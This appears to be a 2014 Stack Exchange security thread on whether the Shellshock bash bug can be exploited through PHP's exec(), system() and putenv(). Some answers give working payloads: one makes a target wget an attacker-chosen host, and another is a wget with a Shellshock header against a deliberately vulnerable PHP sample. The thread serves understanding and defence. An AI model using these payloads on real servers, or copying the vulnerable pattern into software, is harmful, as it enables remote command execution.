I've seen attack scenarios involving using wget on cgi-scripts, but how about a scenario exploiting a web server php script that issues an exec() or system() call to a bash script?

As far as I can tell, environment variables like HTTP_USER_AGENT don't get passed to exec'ed shell scripts, at least by default.

  • its hard to think anyone would be dumb enough to use exec without the use of escapeshellarg() then again, i don't know enough about hacking and charachter sets to even know if escapeshellarg is sufficient in preventing injection. i remember i wrote an email class that executed a python script and passed some json to it, and it connected to remote smtp and send the message, but i never used it in production.
    – r3wt
    Commented Sep 26, 2014 at 12:30
  • 1
    @r3wt - it certain cases shellshock gets around escapeshellarg, although it won't usually for php
    – paj28
    Commented Sep 26, 2014 at 12:31
  • 1
    @r3wt "its hard to think anyone would be dumb enough to..." Never underestimate human stupidity. When all programmers would know what they are doing, this website wouldn't need to exist.
    – Philipp
    Commented Sep 26, 2014 at 12:32
  • @paj28 care to elaborate?
    – r3wt
    Commented Sep 26, 2014 at 12:35
  • 1
    @r3wt in vulnerable scenarios, shellshock bypasses the command line, and any use of escapeshellarg. As for the PHP specifics, see my answer.
    – paj28
    Commented Sep 26, 2014 at 12:40

5 Answers 5


PHP can only be exploited in the shellshock-case by using it in PHP-CGI mode due to the nature how CGI works. For PHP functions like system() and exec() it is not possible to influence the environment variables unless you set them yourself in PHP. That would then be in your example something like system("HTTP_SERVER=evil.example.org /path/to/script");


If PHP is deployed using mod_php then this scenario is basically safe. As you say, PHP does not put untrusted data into environment variables the way CGI does.

If PHP is deployed using CGI (which is a rare config) then it is vulnerable if the script makes any call to bash. It appears PHP system() uses /bin/sh - on Redhat distributions this tends to be bash, although not on Debian.

If a script sets an environment variable using untrusted data then it becomes vulnerable. I expect that is a rare case, but it's annoying because it stops you saying with certainty that "PHP is safe".

  • what about a non standard deployment of php, such as hhvm?
    – r3wt
    Commented Sep 26, 2014 at 12:41
  • 1
    @r3wt - I've not looked at hhvm, but if it uses FastCGI I think it's likely to be vulnerable.
    – paj28
    Commented Sep 26, 2014 at 12:53
  • hmm, i see alot of records in my log files as of late "FastCGI Protocol received an invalid record"
    – r3wt
    Commented Sep 26, 2014 at 12:53
  • I tried setting a variable with the attack code using putenv() in a test php script on an ubuntu server. While the variable does show up in the shell environment as expected, the attack code was nevertheless not executed.
    – Joe Knapp
    Commented Sep 26, 2014 at 13:08
  • 2
    @paj28 FastCGI seems to be safe, see also
    – Bob
    Commented Sep 26, 2014 at 16:49

I'm doubtful it can be exploited for php the same way as it is exploited in CGI.

If you compare the output of:

$ cat ./testing3.cgi
echo "Content-type: text/plain"

To the output of:

$ cat ./testing.php 



The environment variables read into bash are very different. Particularly, no HTTP_USER_AGENT, or similar user-provided input to the environment.

That said, it's a very ugly bug and I think there can be many unexpected ways to exploit it. I just don't think the method used for CGI invocation of bash would be the same as any possible angle for php invocation of bash.


From my testing it does seem possible to exploit via PHP using mod_php if certain conditions are present.

  1. /bin/sh would by symlinked to /bin/bash.
  2. The PHP app would set an Environment variable from a user-controlled HTTP variable using putenv().
  3. Somewhere in the PHP script, there is a subsequent call to a command exec function that will then load that env variable (exec(), passthru(), system(), popen(), etc) since its running in a bash shell instance. This system call/command exec function does not need to be related at all to the setting of the environment variable, as long as it happens afterwards.

For example, here is generalized form of some code I saw earlier today that sets a LANGUAGE environment variable based on an unsanitized GET parameter. The popen call I added to the bottom would be the trigger.

function getLang() { if (isset($_GET["lang"]) && !empty($_GET["lang"])) { $lang = $_GET["lang"]; } return $lang; } $language = getLang(); putenv("LANGUAGE=$language"); /** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r"); /** or $result = exec("ls"); or $result = passthru("ls"); etc **/

In this case the application sets an environment variable using a user-controlled GET parameter so a value for lang such as (){:;}; /usr/bin/wget http://yourip:yourport should attempt a wget to a server/port of your choosing. I've seen similar code that sets ENV variables based on cookie values as well $language=$=COOKIE["lang"]so tampering with that header value could also trigger the vuln.

Obviously it's really bad practice to set any variable based on untrusted user data. In this case, its the call to popen (which runs in Bash thanks to the symlink) that will ultimately execute the payload. I tested this in a Debian environment after setting the symlink and the payload executed successfully. In line with what hspaans said, you're not able to influence the setting of arbitrary environment variables with calls to system() or exec(), so the success of exploiting something like this is completely dependent upon the design of the application and the environment in which it runs.

Here's some more info about non-CGI PHP vulnerability: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html


This simple PHP file offers a shellshock security hole:



# in some configurations (CGI) your webserver does the following for you:
foreach ($_ENV as $k => $v) putenv("$k=$v");

# execute something with bash
echo shell_exec("bash -c 'echo hello from bash!'");

To execute the attack

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -

The output


hello from bash!

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .